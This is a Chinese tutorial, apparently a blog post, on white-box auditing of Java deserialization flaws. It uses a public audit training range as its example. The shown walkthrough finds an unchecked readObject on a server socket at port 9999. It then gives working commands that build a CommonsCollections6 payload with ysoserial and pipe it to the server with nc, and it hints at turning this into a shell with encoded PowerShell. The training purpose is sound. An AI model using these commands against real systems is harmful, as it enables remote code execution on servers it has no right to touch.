前置知识
首页你要了解什么是反序列化,需要用到哪些函数
如下图
java反射机制
在反序列化中,反射必不可少
让java具有动态性
修改已有对象的属性
动态生成对象
动态调用方法
操作内部类和私有方法
在反序列化中
定制需要的对象
通过invoke调用除了同名函数以外的函数
通过class类创建对象,引入不能序列化的类
白盒审计序列化有哪些思路(个人理解)
1. 全局搜索 readObject writeObject OutputStream InputSream等这些关键字
然后寻找传输的变量,是写死的路径文件,还是单纯可控
2. 针对c/s架构,利用socket进行消息接收与发送
3. pom依赖中存在历史漏洞的框架,如fastjson,commons-collections
4. 把数据存储到redis,mangodb,经过序列化存储与读取,也是搜索关键字
案例来自月师傅十月考核的java审计靶场
在github上可以搜到
https://github.com/mamenchisat/
首页是两个源码,客户端和服务端
客户端效果:
服务端效果:
故名思义,符合第二条,直接审计server端代码,不要问我为什么不审计客户端。
全局搜索关键字,代码量比较少,所以也容易理解,可见就两个
user作为一个用户,登陆用户,会存在序列化吗,不清楚,来点击user看看,所以不会存在
漏洞点就存在message里,对数据进行读取,没有任何限制
这里是可以看到的,有发送,有接收数据。
运行看看数据效果
此时已经知道了,服务器的9999端口可以发送任意数据
这时配合cc链进行攻击(自己测试需要在server中加入commons-collections-3.2.1的依赖,新建lib目录,放入jar,右键加入依赖)
使用ysoserial,生成数据
java -jar ysoserial-all.jar CommonsCollections6 "open -a calculator" > cc6.bin
使用cat查看,其实就是字节码
然后使用nc进行发送数据
cat cc6.bin|nc -v 192.168.1.2 9999
需要getshell的呢,把命令换成powershell 然后bash64编码即可上线。